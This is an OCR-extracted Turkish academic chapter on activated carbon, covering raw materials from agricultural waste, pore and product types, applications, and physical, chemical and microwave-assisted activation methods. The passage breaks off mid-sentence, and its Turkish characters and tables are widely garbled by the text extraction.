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AKTIF KARBON VE URETIM YONTEMLERI
Pinar BOZBEYOGLU!

GIRIS

Aktif karbon, sulu ve gaz fazdan hem inorganik hem
de organik karakterli ¢cok cesitli kirletici tiirleri yiiksek
performansla adsorplama yetenegine sahip olan essiz
bir adsorbandir. Yiiksek karbon icerigine sahip komiir,
ceviz kabugu, odunsu atiklar, kayisi ¢ekirdegi gibi gesitli
materyallerden tiretilen aktif karbonlarin glinlimiizde pek
¢ok alanda kullanimi mevcuttur. Ticari olarak iiretilen
aktif karbonlarim maliyetinin yiiksek olmasi onlarin etkin
kullanimint sinirlamaktadir. Bu nedenle diigiik maliyetli
hammaddelerden ¢ok farkli ozellikte ve etkinlikte aktif
karbon iretim ¢aligmalar glinden giine artan ilgi ile takip
edilmektedir. Bircok tarimsal atik, kolay temin edilmesi,
diistik maliyetli olmasi1 ve lignoseliilozik igeriginin
yiiksek olmasi sayesinde aktif karbon tiretiminde yaygin
olarak kullanilir.

Su, canlilarin yasamlarini siirdiirebilmesi i¢in hayati
bir sividir. Tiim yasamsal olaylar i¢in gerekli olan suyun

1 Dr Ogr. Uyesi., Giimiishane Universitesi Giimiishane Meslek Yiiksekokulu, ORCID
ID: 0000-0002-3704-2701
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insanlara, i¢erisinde zararh kimyasallar1 ve hastalik yapici
mikroorganizmalar1 igermeyecek sekilde saglanmasi
gerekir. Cesitli faaliyetler sonucu olusan atik sular uygun
teknolojilerle aritilmali ve canlilara zarar vermeyecek
ozelliklere kavusturularak dogaya tekrar verilmelidir.
Boylece temiz su dongiisiiniin dogada siirdiiriilmesine
yardime1 olunmalidir (Giiler ve Cobanoglu, 2001).

Sulardaki kirleticileri temelde iki gruba ayirmak
miimkiindiir: organik ve inorganik yapili kirleticiler.
Inorganik tiirlere Pb, Cd, Cr, Hg ve As gibi toksik metaller,
organik tiirlere de boyar maddeler ve fenolik bilesikler
ornektir. Bukirleticiler endiistriyel atik olarak hem ¢evreye
hem de sulara karisip tiim canlilara zarar vermektedir.
Bu organik ve inorganik kokenli kirleticilerin ¢evrede
bulundugumiktarivebertarafedilmesi hakkindacok sayida
bilimsel arastirma ve inceleme yapilmistir. Kimyasal
¢coktiirme, iyon degistirme, membran filtrasyonu gibi
adsorpsiyon esasina dayanan teknikler uygulanmaktadir.
Bunlarin diginda elektroliz ve biyolojik yontemler de bu
kirlilikleri gidermeye yonelik kullanilan yontemlerdir. Bu
teknik ve yontemler arasinda en yaygin olarak kullanilani
adsorpsiyona dayali yontemlerdir. Giinlimiizde aktif
karbon kullanilarak adsorpsiyon yontemiyle atik sularda
mevcut farkli tipteki birgok kirletici tiir tatmin edici
performanslarla temizlenebilmektedir.

Aktif karbon kullanimi ¢ok eskilere dayanan, bir¢ok
endiistrilerde kullanimi gittik¢e artan daha ¢ok adsorpsiyon
amaciyla kullanilan bir maddedir. Aktif karbon; yiizey
alan1 ve gbzenek hacmi ¢ok fazla olan malzemelerdir.
Lignoseliilozik yapida yiiksek karbon igerigine sahip yerli
hammaddelerde iiretim i¢in tercih edilmektedir. Ancak,
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ticari amach aktif karbon iiretimi ig¢in genellikle linyit,
komiir, agag ve hindistan cevizi gibi inorganik icerigi daha
az olan hammaddeler tercih edilir. Hammaddenin igerigi,
iiretilmesi planlanan aktif karbonun nerede ne amagla
kullanilacagi planlandiktan sonra {iretim i¢in tercih edilir.
Sahip oldugu yiiksek i¢ ylizey alani, bu maddenin iyi bir
adsorban olarak bir¢ok sanayide kullanimini cazip hale
getirmektedir. Aktif karbonun giinliik hayatimizdaki
yeri ¢ok fazla olsa da Tiirkiye’de ticari olarak {iretimi
gerceklestiren tesis mevcut degildir. Bu nedenle aktif
karbonda digartya bagimlilik mevcut olup farkli ticari
isimlerle ithal edilmektedir. Ancak aktif karbon {iretimi ve
kullanimiyla ilgili alanlarda bir¢ok arastirma ve gelistirme
calismast mevcuttur. Tirkiye bitkisel ve hayvansal
atiklar acisindan ¢ok zengin bir yapiya sahiptir. Bu
atiklar genellikle yakit (yakma) amacglh veya tarlalardan
hasat sonrasi hayvan yemi olarak kullanilmaktadir.
Bununla birlikte bu atiklar1 gaz, sivi ve kati iirlinlere
donistiirecek proseslerle aktif karbon liretmek bu 6nemli
siireglerdendir ( Bhowmick, G. D., Das S. ve Verma
B., 2020). Aktif karbonlarin adsorpsiyon yetenekleri
yiiksek ylizey alanlarindan, mikro gézenek yapilarindan
ve yiiksek dereceli yiizey aktiviteye sahip olmalarindan
kaynaklanmaktadir. Bundan dolay1 6zellikle siv1 ve gaz
¢ozeltilerden zararhi bilesenleri saflastirmak, renklerini
ve kot kokularimi azaltarak gidermek, asirt klordan
arindirmak, kantitatif geri kazanim yapmak amaciyla
stizmek, ayirmak, deristirmek ve uzaklastirmak ya da
modifiye etmek i¢in aktif karbonlardan iretilmektedir.
(Bansal ve Goyal, 2005). Bilinen en iyi adsorbanlardan
biri olmasiin yani sira aktif karbonlar hemen hemen her
yerde kullanilmaktadir. Hatta giiniimiizde askeri amagla
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maskelerin filtre kisminda kullanimi da hizla artmaktadir.
Dolayisiyla stratejik 6nem kazanan aktif karbonun yerli
teknoloji ile tiretimi artik kaginilmazdir. Ancak tilkemizde
ne yazik ki ticari amag¢ i¢in herhangi bir liretim ve
fabrikasyon mevcut degildir. Cesitli sektdrlerin ihtiyaci
olan aktif karbon yiiksek meblaglarla yurt disindan
ithal edilmektedir. Ticari aktif karbonlarin hem iilke
igerisinde {iretilememesi hem de pahali oluslari, onlarin
cesitli kaynaklardan diisiik maliyetle iiretimini zorunlu
kilmaktadir (Bhowmick, G. 2020).

Diinyada hizla artan endiistriyel faaliyetler sonucu
su, toprak ve hava cesitli atiklarla kirlenmekte ve zaman
gectikge kirliligin  ¢esidi ve boyutu da artmaktadir.
Dogal sulak alanlarda kontrolsiiz endiistriyel atiklarin
cevreye dagilmasi sonucu kargimiza ¢ikan ozellikle agir
metaller, fenolik bilesikler ve boyar maddeler yalnizca
su kiitlesinde degil, sulak alanlarin toprak yapisinda da
birikebilmektedir. Bulunduklari ortamlarda birikebilen
bu kirleticiler, tiim canlilar i¢in toksik etkilere neden
olmaktadir. Bu kirleticilerin ¢esitli yontemlerle bertaraf
edilmesi ve temizlenen atik sularin saglikli bir sekilde
tekrar alict ortama verilmesi gerekmektedir (Bozbeyoglu
P. 2020).

Giliniimiizde aktif karbonla sulardan kirletici giderim
prosesleri yaygin bir sekilde kullanilmaktadir. Ancak ticari
aktif karbonlarin pahali olmasi ve geri kazanimlarinin
da fazladan maliyet getirmesi gibi dezavantajlara sahip
olmalarina karsin, genis ylizey alanlari, mikro gozenekli
yapilari, yiliksek adsorpsiyon kapasiteleri ve yiizey
reaktiviteleri bu adsorbanlarin kullanimimni yine de cazip
kilmaktadir.
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Daha disiik maliyetli, fakat yiiksek performansh
aktif  karbonlarin  {iretilme ihtiyacindan  dolayz,
giinimiizde yeterince karbon igerigine sahip oOzellikle
atik pozisyonundaki lignoseliilozik icerikli tarimsal
biyokiitlelere olan ilgi giderek artmaktadir. Bu ¢aligmanin
amaci; herhangi bir ekonomik degeri olmayan, neredeyse
tamamen atik olarak c¢evreye bosaltilan biyokiitlelerden
aktif  karbon Uretim proseslerini  karsilastirmak,
olusturulan aktif karbonlarin hangi endiistride hangi
amagla kullanilabilir oldugunu belirlemek ve aktif karbon
performansini etkileyen faktorleri belirlemektir.

Aktif Karbon

Aktif karbon yaygin anlamda gelistirilmis tanecikler
aras1 yiizey alanma ve yliksek derecede gozeneklilige
sahip amorf yapili karbon agirlikli materyallerin genis
bir araligini iceren terimdir (Bansal and Goyal, 2005).
Aktif karbonlar atomik dlgekte altigen seklinde olusurken
icerdigi karbon atomlarin grafitinkine benzer kisa
menzilli katmanli bir yapidadir. Karbon igceren biitiin
maddeler aktif karbon iiretiminde kullanilabilmektedir
(Bozbeyoglu P. 2020).

Glintimiizde aktif karbon yiiksek karbon icerigine
ve diisiik inorganik(kiil) madde igerigine sahip yerli
hammaddelerden iiretilebilmektedir. Bunlar arasinda
bircok meyvenin ¢ekirdegi, kuruyemislerin kabuklari,
petrol kalintisi, ceviz, odun, findik ve hindistan cevizi
kabugu gibi ekonomik degeri olmayan birgok atil
biyokiitle, fosil yakitlarin pirolizinden elde edilen
ziftin yani sira, polimer bazli sentetik hammaddeler
de aktif karbon iiretiminde kullanilmaktadir. Uretimde
kullanilacak olan baslangi¢ malzemesinin se¢imi, kolay
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temin edilebilmesine ve safligina baghdir. Karbon
iceren baslangi¢ maddesinden aktif karbon iiretimi
sirasinda, karbon igermeyen kisimlarin igyapisindan
uzaklastirilmas1 gerekmektedir. Bu basamak esnasinda
karbon igeren malzemeden de bir kisim okside olarak
uzaklastirmaktadir. Bu islem sonucu yeni baglar
olusurken ayni zamanda yiliksek miktarda gozenekli
yapilar da olusturulur. Giiniimiiz teknolojisinde yabanci
maddelerin uzaklagtirilmasi ve kismi oksidasyonlar yeterli
olmadigindan yeni {riin eldesi i¢in karbonizasyona ek
aktivasyon islemine gerek duyulmaktadir. Aktif karbon,
secilecek uygun hammaddeden toz, tanecikli, kiiresel
vs. farkli yap1 ve sekillerde iiretilebilmektedir (Patrick,
1995).

Aktif karbon iiretim prosesleri kimyasal ve fiziksel
aktivasyon olmak Tizere ikiye ayrilmaktadir Sekil
3.’te aktivasyon prosesi sematik olarak gosterilmigtir
(Matandabuzo M. 2018). Genel olarak aktivasyon
oncelikle biinyedeki biitiin suyun uzaklagtirilmasi yani
dehidrasyonu ile baslar. Daha sonra karbonizasyon
basamaginda organik maddeler elementel karbona
doniisiir ve karbon olmayan kisimlar uzaklagtirilir. Son
olarak aktivasyon basamaginda ise katranin yanmasi
ve gozeneklerin genislemesi gergeklesir. Kimyasal
aktivasyonda agag, odun talasi, komiir, turba ve benzeri
esaslt malzemelere g¢inko kloriir, soydum hidroksit,
potasyum karbonat, fosforik asit ve potasyum hidroksit
gibi dehidrasyon 6zelligi olan ¢ozeltilerin emdirilmesi
islemiyle yapilmaktadir. Bagka bir deyisle kimyasal
aktivasyon, NaOH, ZnCl, K, CO, ve H,PO, gibi kimyasal
ajanlarin baslangi¢ malzemesinden su giderme iglemine
baghdir. islemler yaklasik 400—1000°C sicaklik araliginda
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gerceklesmektedir. Ekstraksiyon islemi ile kimyasallarin
uzaklastiritlmasindan sonra geriye gozenekli saf aktif
karbon yapist kalmaktadir. Aktif karbon tiiretimi 600-
1000 °C ‘ye kadar ¢ikabilen akigkan yatak tipi firmnlar,
doner firmlar, dikey saft veya ¢ok kamarali firmlarda
gerceklestirilebilmektedir (Gazali H. S. 2020). Fiziksel
aktivasyonda ise su buhari veya CO, gibi oksijen bilesigi
igeren gazlar kullanilir. Karbondioksit ve su buhari gibi
gazlar sicak haldeki komiirlesmis malzeme {izerinden
iiflenmektedir. Sicaklik yaklasik 800—1000 °C gibi yiiksek
sicakliklarda karbonlu baslangi¢ malzemelerinin bir kismi
ayrisip sayisiz ¢atlak ve gézenek olusturmaktadir.

Lignoseliilozik Biyokiitle

Lignoseliilozik biyokiitle, kozalakli agag, ot, saman,
sap, kabuk gibi tarimsal atiklarin; kagit, pulp ve kentsel
atiklar gibi endiistriyel kalmtilarin olusturdugu enerji
triinlerinden olusur. Bu maddelerin bileskesi igerigi ile
degisir. Lignoseliiloz maddelerin temel igerigi % 35-50
oraninda seliiloz, % 20-35 oraninda hemiseliiloz ve %
10-25 oraninda da lignindir (Bagder Elmaci, 2015).

Aktif Karbon Uretiminde Kullanilabilen

Hammaddeler

Aktif karbon dretimi i¢in kullanilacak yerli
hammaddeler aktif karbon iiretimi i¢in yeterli miktarda
lignoseliilozik madde igermelidir. Yeterli miktarda karbon
iceren, kolay elde edilebilen ve diisiik maliyete sahip
hemen hemen her madde, aktif karbon hammaddesi olarak
kullanilabilmektedir. Kullanilacak olan hammaddenin
maliyetinin diisik ve kolay elde edilebilir olmasi,
iiretilecek aktif karbon veriminin iyi olmasi ve depolama
stirecinde bozulmamas1 gerekir. Ayn1 zamanda inorganik
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madde igeriginin diisiik olmasi kiill miktarinin da az
olmas1 gerekir. Kolay aktive edilebilen yogunluga sahip
hammaddeler aktif karbon {iretiminde kullanilabilme
kriterlerini saglar. (Marsh et al., 1997).

Aktif karbon tiretimi i¢in karbon igerigi ortalama
%40-80 araliginda ise hammadde {iiretime uygundur.
Meyve ve hindistan cevizi, findik, vs. gibi kuruyemislerin
kabuklari, kayist ve seftali gibi meyvelerin ¢ekirdekleri,
kagit ve pulp endistrisinin atiklar1 aktif karbon
iiretiminde kullanilmaktadir (Alkaram U. 2009). Teknik
uygulamalarda odun talasi, odun, odun komiirii, turba,
linyit kullanilmaktadir. Kullanilan hammaddeye gore
elde edilen aktif karbonunu o6zellikleri degismektedir.
Hammaddenin ugucu madde yogunlugu ve igerigi
elde edilen aktif karbonun ozelliklerini 6nemli 6lgiide
etkilemektedir. Lignin ve odun gibi diisiik yogunluklu
maddeler daha yiliksek ugucu madde icermektedir.
Bunlardan {iretilen aktif karbon, biiylik gozenek hacimli
ve diisiik yogunluklu olmasi nedeniyle, gaz adsorpsiyonu
icin uygun olmaktadir.

Hammadde, gerekli oldugu durumlarda ¢oziiciilerle,
asit ¢ozeltisiyle veya sadece saf su ile yikanma islemi
yapilarak aktivasyon siirecini etkilemesi muhtemel
safsizliklardan arindirilir. Yikama islemleri ardindan
hammadde {izerindeki bulunan nemin giderilmesi
amaciyla kurutma yapilir Hammaddenin aktivasyon
oncesi gegirdigi adimlardan bir tanesi de boyutlandirmadir.
Bu islem istenen gozenek ve boyutta yapisinda aktif
karbon {tiretilmesi i¢in gereklidir. Hammaddenin tanecik
boyutunun {iretilen aktif karbonun ylizey alani, mikro
gozenek hacmi gibi onemli Ozellikleri iizerine etkisi
olabilmektedir.
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Aktif karbon tretimiyle ilgili literatiirde ele alinan
bazi hammaddeler ve 6zellikleri Tablo1’de verilmistir.
Kullanilan baslangic maddesine gore, aktif karbonun
fiziksel ~ve adsorpsiyon  Ozellikleri  degiskenlik
gostermektedir.  Baglangic  malzemesi  se¢imi, o
malzemenin maliyeti, kalitesi, elde edilebilirligi, mineral
madde ve kiikiirt igerigine gore belirlenmektedir (Patrick
P, 1995).

Kimyasal aktivasyon prosesiyle {iretilen aktif
karbonlarda inorganik igerik ¢ok onemlidir. Cilinkii kiil
miktarlarinin disiik olmast gerekir. Bunun nedenide
yikama sonrasi geri kazanima tabi tutulan aktivatoriin
temizlenmesinin miimkiin olmamasidir. Kotii 6zellikte
yikanabilir kil igceren saman, otsu yapidaki bitki
saplar1 gibi malzemelerde bu 6zellik ¢ok aranmaktadir.
Yogunlugu yiiksek hammaddelerden makro gozenekli
aktif karbon iiretimi i¢in hizli aktivasyon islemi, mikro
gozenekli aktif karbon tliretiminde ise uzun siirede yavas
bir sekilde aktivasyon islemi uygulanmaktadir. Karbon
icerigi yliksek mekanik dayanimi fazla olan g¢ekirdek
ve kabuklardan elde edilen aktif karbonlar yiiksek
yogunluk ve dayanikliligi fazla olmasi sebebiyle gaz
maskelerinin filtre kisminda kullanilmaktadir. Bu tiir
islemlerde hindistan cevizi kabugundan elde edilen koklar
veya yogunlugu arttirmak icin yiliksek basing altinda
sekillendirilmis, ince ince Ogiitilmiis hammaddeler
kullanilmaktadir.

Odun talagi turba komiir gibi parcalanmis press
iriinlerden olusan hammaddeler aktivasyon isleminden
sonra parcalanarak kullanilir. Bu hammaddeler diisiik
yogunluga sahip oldugundan daha ¢ok boya endiistrisinde
renk giderme islemlerinde kullanilir (A¢ikyildiz M. 2011).
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Genel olarak aktif karbon tiretiminde kullanilan yerli
hammaddelerin 6zellikleri Tablo 1’de verilmistir (Nethaji

S.2013).
Tablo 1. Aktif Karbon Uretiminde Kullanilan Materyallerin
Ozellikleri
Ham Karbon | Ucucu | Yogunluk | Kiil | Aktif
Materyal (%) Madde | (g/cm?) (%) | Karbonun
(%) Yapisal
Ozellikleri
Yumugak 45-40 60-55 |0.5-0.4 1.1- | Yumusak,
agac (Igne 0.3 yiiksek
yaprakli) gbzenek
Sert agac 42-40 60-55 |0.8-0.55 01.2- | Yumusak,
0.3 yiiksek
gozenek
Lignin 40-35 60-58 |0.4-0.3 - Yumusak,
yiiksek
gozenek
Yemis 45-40 60-55 1.40 - Sert, mikro
Kabugu gbzenek
Linyit 70-55 40-25 | 1.35-1.0 |6-5 Sert, diisiik
gozenek
Petrol koku | 85-70 20-15 1.35 0.7- | Orta
0.5 sert, orta
gozenek
Yart sert 75-70 15-10 | 1.45 15-5 | Sert,
komiir yiiksek
gbzenek
Sert komiir | 85-95 5-15 1.5-1.8 2-15 | Sert,
(Antrasit) yiiksek
gozenek
Aktif Karbon Tiirleri

Aktif karbonlar, hazirlama tekniklerinin detaylari,
yuksek derecede gozeneklilik, genis bir i¢ yiizey alani,
cok cesitli gdzenek boyutu dagilimi ve yiizey kimyasina
bagli olarak smiflandirilan karbon agirlikli organik
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maddelerdir. Aktif karbonlar igerdikleri gdzenekli
yapilara gore siiflandirilmaktadir.

IUPAC’a gore gozenekler sdyle siniflandirilir:

Makro gézenekler (yarigap1 yaklasik 25 nm’den biiytik
olanlar).

Mikro gozenekler (yarigapr yaklasik 1 nm’den kiiciik
olanlar),

Mezo gozenekler (yarigapt yaklasik 1-25 nm olanlar),

Bu calismalarda Onemli olan mikro ve mezo
gozeneklerden olusturulan aktif karbonlar biiylik 6nem
tasir. Ciinkli karbona adsorplama kapasitesi kazandiran
ve aktif karbonun kalitesi hakkinda fikir veren yapilar
aktivasyon prosesi boyunca olusan mikro ve mezo
gozeneklerdir.

Yiizey karakteristikleri ve aktif karbonun davranislari
ele almarak yilizey alanlart ve gozenek yapilan
karsilastirilarak siniflandirma yapilacak olursa;

e PAC (Toz aktif karbonlar); daha ¢ok sivi faz
uygulamalarinda ve baca gazi aritiminda kullanilir.
0.18 mm (US. 45 mesh)’ den kii¢iik boyutlardaki
ogitiilmiis bu karbonlarmm kullanimi1 ¢ok kolay
oldugundan ve ylizey alani genisliginden renk
giderme ve tibbi alanlarda kullanimi yaygindir
(Akyildiz, 2007).

e GAC (Graniiler aktif karbon); sivi faz
uygulamalarinda ¢okga kullanimi mevcuttur. 0.2-5
mm araligindaki boyutlart olan bu aktif karbonun
graniil boyutu uygulanacak alana ve prosese gore
degisir. Toz aktif karbonla karsilastirilacak olursa
daha biiylik tanecik boyutuna ve daha kiiciik dis
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ylizey alanina sahip oldugu sdylenebilir. (Akyildiz,
2007).

e  Silindirik (Pellet aktif karbon); daha ¢ok gaz fazi
uygulamalarinda kullanilir. Basingla sikistirilmis olup
0.8-5 mm ¢apinda silindirik yapida olan bu aktif karbonlar
diisiik basing, yliksek mekanik dayaniklilik ve diisiik toz
icerigi saglamasindan dolay1 gaz fazi uygulamalarinda
avantajlidir (Kiigtikgiil, 2004). Giiniimiizde kullanimi
yaygin olan aktif karbonlar Sekil 1.’de verilmistir.

Toz Aktif Karbon Graniil Aktif Karbon Pellet (Silindirik) Aktif Karbon
Sekil 1. Aktif Karbon Tiirleri

Aktif Karbon Uygulama Alanlari

Aktif karbonlarin kullanim alanlari, genel olarak iki
baslik altinda smiflandirilabilir. Bunlar, sivi faz ve gaz
faz uygulamalaridir. Aktif karbon uygulamalarinin %
79’u s1v1 fazda, % 21’1 gaz fazdadir (Kekes T. 2020).
Genel olarak aktif karbonun uygulama alanlar1 Sekil 2’de
verilmis olup asagidaki gibidir.

e Suve atik su aritimi

* Boya iiretimi

* Gaz maskeleri yapimi

* Petrokimya endiistrisi

* Gazlarin saflagtirma ve aritimi

* (ida sanayisi saflagtirma islemleri

e Metal sanayisi

* Savunma sanayisinde koruyucu giysi yapimi
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* Silah sanayisi

* Hidrometalurji alanlarinda altin  giimiis geri

kazanimi vs.

Coziiciilerin geri kazanimi en ¢ok uygulama alani
olup patlayici yapimi, polimer iiretimi, tohumlardan yag
¢ikarma ve boya tiretimi gibi sayisiz endiistriyel islemde
aktif karbon kullanimi1 mevcuttur. (Camposa N. F. 2020)

SuAntma =
Kanalizasyon Aritma _ — igme Suyu Artma
x4\ -
Endistriyel su \ ‘ Salvent Gerikazamimi
|
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onantim

e », €4
g Tee)
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Biyogaz Kiikiirt 'N..___ / ilag Sanayisinde g
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Sekil 2. Aktif karbonun uygulama alanlari (URL-1)

A ]

Aktif Karbon Uretim Yontemleri

Aktif karbon iretimi iki prosese dayali olarak
iretilir. Kimyasal aktivasyon yontemi kimyasal ajanlarin
hammaddeye yiiksek derecede 1s1 ile maruz birakilmasi
esasina dayanir. ikinci ydnetim ise karbonizasyon ve
aktivasyon basamaklarinin iki agsamada gergeklestigi
fiziksel aktivasyondur. Aktivasyon prosesi sematik olarak
Sekil 3.’te belirtilmistir (Khezami L. 2005).
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1. Hammadde segimi

2. Hammaddeyi boyutlandirma
ve kurutma

3. Kl giderimi

‘ 4. Kimyasal Aktivasyon ‘ ‘ 5. Fiziksel Aktivasyon
4.1. Kuru karistirma ‘ 4.2 Emdirme ‘ 4.3. Yogurma ‘
4.2.1. Siizme 4.3.1. Buharlastirma K
5.1. Karbonizasyon
‘ 4.4 Isil islem ‘

5.2. Aktivasyon

4.5. Asitle yikama

4.6.Suile yikama

AKTIF KARBON
4

Sekil 3. Aktivasyon prosesi

Fiziksel Aktivasyon Yontemi

Fiziksel aktivasyon ikiadimda gerceklesen bir prosestir.
[Ik adimda karbon igerikli materyalin karbonizasyonu
gergeklestirilirken ikinci adimda karbonizasyon sonucu
olusan iriiniin yiiksek sicakliklarda karbondioksit, su
buhari, hava veya bunlarm karigimi gibi uygun yiikseltgen
gazlarin varliginda aktivasyonu gerceklestirilir. Hidrojen
baginin bir sonucu olarak hedef maddeyi bir ¢ip lizerine
baglayan, Van der waals kuvvetleri, elektrostatik kuvvetler
ve hidrofobik etkilesimler de igerir. Fiziksel adsorpsiyon,
fizyoadsorpsiyon olarak da adlandirilabilir (Bozbeyoglu
P. 2020).
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Temiz, kolay kullanimi, giivenli olmasi ve 800 °C
civarindaki sicakliklarda diisiik reaksiyon hizindan
dolay1 aktivasyon siirecinin kontroliine daha ¢ok imkan
saglamas1 gibi avantajlarindan dolay1 aktivasyon gazi
olarak genellikle CO, ve su buhari kullamlir. Fiziksel
aktivasyonda kullanilan aktive edici maddeler genellikle
CO,, buhar veya yanma gazi iiriinleri olmakla beraber klor,
kiikiirt buharlari, amonyak, SO, ve diger baz1 gazlar da
nadiren de olsa aktivasyon amaciyla kullanilabilmektedir
(Gilindogdu A. 2010)

Endiistriyel uygulamalarda buhar ve CO, en ¢ok
karsilasilan fiziksel aktive edici maddelerdir. Bununla
birlikte fiziksel aktivasyonla {iretilen aktif karbonlar
adsorban ya da filtre olarak kullanim i¢in uygun niteliklere
sahip degildirler.

Buhar ile gerceklestirilen aktivasyonda, karbonun
su buhar ile olan en temel tepkimesi endotermiktir ve
asagidaki stokiyometrik esitlikler uyarinca etkilesir ve
karbon monoksit agiga ¢ikar (Akyildiz, 2007).

C(katr) + H,O(buhar) — H_ (gaz) + CO(gaz) - 129.7kJ

Karbonun buhar ile reaksiyonu, alkali metal oksit ve
karbonatlar ile katalizlenebilmektedir. Oksijensiz ortamda
750-950 °C sicakliklarda gerceklesen bu reaksiyonda
ortamda oksijen olmasi istenmez. Ciinkii, bu sicakliklarda
oksijenin karbon ylizeyine kuvvetlice tutunmasi ile ylizey
kiitlesinde azalma olacagindan {iriin miktarinda azalma
gergeklesir.

Karbondioksit ile gerceklestirilen aktivasyonda
ise, karbonun CO, ile olan tepkimesi endotermiktir
olup reaksiyonda gerekli olan 1s1 CO‘nun yanmasi ile
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korunmus olur. Stokiyometrik tepkime denklemi su
sekilde yazilabilmektedir (Merameri, 2000).

Cc +CO —2CO —-163.2kJ

(katr) 2(gaz) (gaz)
Bu iki reaksiyonun kontroliiniin kolay endotermik

reaksiyonlardan =~ meydana  gelmesi  gazlastirma
reaksiyonlarinda, O, yerine CO, ve su buhari kullaniminin
tercih edilmesinin  sebebidir. Onceki calismalar
incelendiginde piring kabugu, ceviz kabuklari, badem
kabuklar1 piring sapi, fisttk gdvdesi ve diger otsul
hammaddeler bu yontem ile ¢alisiimis olup karbonizasyon
sicakligr nadiren 1000 °C civarinda tutulup genellikle
400-850 °C sicakliginda calisilmistir.

Kimyasal Aktivasyon Yontemi

Kimyasal aktivasyon ise fosforik asit, siilfiirik asit,
borik asit ve potasyum karbonat gibi kimyasal ajanlarin
eklenmesiyle karbonizasyon prosesinin  modifiye
edilmesidir. Bu yontem ile az miktarda kimyasal maddenin
olusturulmak istenen iiriinde kalmasi dezavantaj olabilir.
Bu problemlere ragmen disiik sicakliklarda ve kisa
sirede, yiiksek karbonizasyon doniigiim oranina ve
yiiksek yiizey alanina sahip aktive edilmis iiriine
erisilmesinden dolay1 fiziksel aktivasyona tercih edilir.
Kimyasal Adsorpsiyon, kemisorpsiyon olarak da bilinir.
Adsorbat ve ylizey arasinda kimyasal bir reaksiyon igeren
bir tiir adsorpsiyondur. Cevresel acidan fosforik asidin
kullanim1 daha uygun olmasina ragmen etkin aktivasyon
kapasitesinden dolay1 genellikle aktive edici kimyasal
olarak ¢inko kloriir yaygin bir sekilde kullanilmaktadir.
Kimyasal aktivasyonun derecesi iiretilen aktif karbonun
karakteristigini 6nemli dl¢lide etkilemekte olup mezo ve
makropor dagilimlarini da belirler (Glindogdu A. 2018).
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Kimyasal aktivasyon yontemin fiziksel aktivasyona
gore bazi istlinlikleri vardir. Kimyasal aktivasyon
genellikle tek adimda ve daha diisiik aktivasyon siiresi
ile gerceklesir. Ayn1 zamanda fiziksel aktivasyona oranla
daha diisiik aktivasyon sicakligi ile daha genis yiizey alani
olusturabilir. Kimyasal aktivasyon ile hem gelismis mikro
gozenek hacmi hem de daha yiiksek kati iiriin verimi
elde edilebilir. Dezavantajlar1 ise; kullanilan kimyasal
ajanlardan kaynaklanan ¢evreye zararl etki ve olusturulan
aktif karbon igerisinde zaman zaman safsizliklar
olusabilmesi bu yiizden de yikama islemlerinin zorunlu
hale gelmesidir (Akyildiz, 2007).Tablo 2‘de fiziksel
aktivasyon ile kimyasal aktivasyon arasindaki farklar ele
almmustir.

Tablo 2. Fiziksel Aktivasyon ile Kimyasal Aktivasyon Arasindaki

Farklar
KIMYASAL FIZIKSEL
ADSORPSIYON ADSORPSIYON
Kimyasal Fiziksel adsorpsiyon,
adsorpsiyon, hidrojen baginin bir

sonucu olarak Van

der Waals kuvvetleri,
elektrostatik kuvvetler ve
hidrofobik etkilesimlerin
yer aldig1 hedefi baglayan
bir adsorpsiyondur.

yiizey ve adsorbat
arasinda kimyasal
bir reaksiyon i¢eren
bir adsorpsiyondur.

Ozgiilliigii

Sadece bir adsorban
ve adsorbat arasinda
kimyasal bag
olusumu oldugundan
stire¢ dogas1 geregi
spesifiktir.

Herhangi bir gaz yiizeye
adsorbe edilebildigi i¢in
ozgiilliik yoktur. Fiziksel
adsorpsiyon, zayif Van
der Waals kuvvetlerinin
kullanimini igerir.

Siirecin Dogasi

Geri doniisii olmayan
bir siiregtir.

Geri dontlistimlidiir,
basinca ve sicakliga
baglidir.
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Siireci Kimyasal Genellikle, dusiik

Etkileyen adsorpsiyon diisiik sicakliklarda daha hizlidir

Faktorler sicaklikta yavastir ve | ve sicakliktaki artigla
basing artisi ile artar. | azalir.

Etkinlestirme | Kimyasal Fiziksel adsorpsiyonda,
adsorpsiyon igin aktivasyon i¢in enerji
belirli bir aktivasyon | gerektirmez.
enerjisi gerekir.

Yiizey Alam Kimyasal Gozenekli maddeler
adsorpsiyon orani genellikle mitkemmel
yiizey alanla adsorbanlardir. Gozenekli
dogru orantilidir. doga, artan yiizey alani
Adsorpsiyondaki ile es anlamlidir. Fiziksel
artis ylizey orani adsorpsiyon, yiizey
alanindaki artigla alanindaki artisla birlikte
birlikte artar. artar.

Molekiiler Tek molekiiler Adsorban yiizeyinde

Katmanlar tabaka olusturur. ¢ok molekiillii tabakalar

olusturur.

Baglanma Molekiiller, kimyasal | Parcaciklar vanderwaals
bagin kuvvetleri kuvvetleri nedeniyle
nedeniyle tutulur tutulur. Yiizey bilesigi
ylizey bilesikleri olusturmaz
olusturur.

Mikrodalga Destekli impregnasyon Yontemi

Mikrodalga destekli yontem kullanimiyla geleneksel
yonteme oranla biyokiitle daha diizgiin, daha az enerji
gereksinimli ve daha kisa analiz siiresince aktif karbon
tiretilmektedir (Salem S. 2020). N,, Ar ve CO, gazlar
ile ilk asamada ortam gazlar1 belirlenir. Mikrodalga
destekli impregnasyon islemi yapildiktan sonra kullanilan
kimyasal ajanlar (ZnCl,H PO, gibi) uygulanan belirli
glic (yaklasik 500W) ve belirli siire (genelde 15 dk)
boyunca N, gazi atmosferi altinda, inert bir ortamda
olan aktivasyon firininda yaklasik 45 dk boyunca 500-
600 °C’de aktivasyon islemine tabi tutulur. Literatiirde
ele aliman mikrodalga destekli impregnasyon yontemiyle
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sentezlenen aktif karbon verimlerinin, daha ¢ok
ortam gazinin CO, gazi oldugunda gergeklestigi tespit
edilmistir (Li H. 2018). Lignoseliilozik atigin kimyasal
ajanlar ile etkilesmesi sonucu ortamdaki CO, gazinin
olmas1 kaynakli oldugu séylenebilir (Sharif Y.M. 2018).
Mikrodalga giiciiniin ve aktivasyon siiresinin aktif karbon
iiretimi ve aktif karbon performansina etkisi incelenmek
istenirse %100 aktivasyon ajanimin CO, gazi altinda
farkli mikrodalga firin giiglerinde (250, 500, 750 ve 1000
W gibi) ve farkli temas siirelerinde (15 dk, 20 dk, 30 dk,
45 dk. gibi) impregnasyona tabi tutulmasi gerekir. Bu
parametreler tek tek degistirilip 500 °C sicaklik civarindaki
verimi incelenebilir. Burada 6nemli olan aktiflestiricilerin
viskozitelerinde artisin  olup olmadig1  kosullar
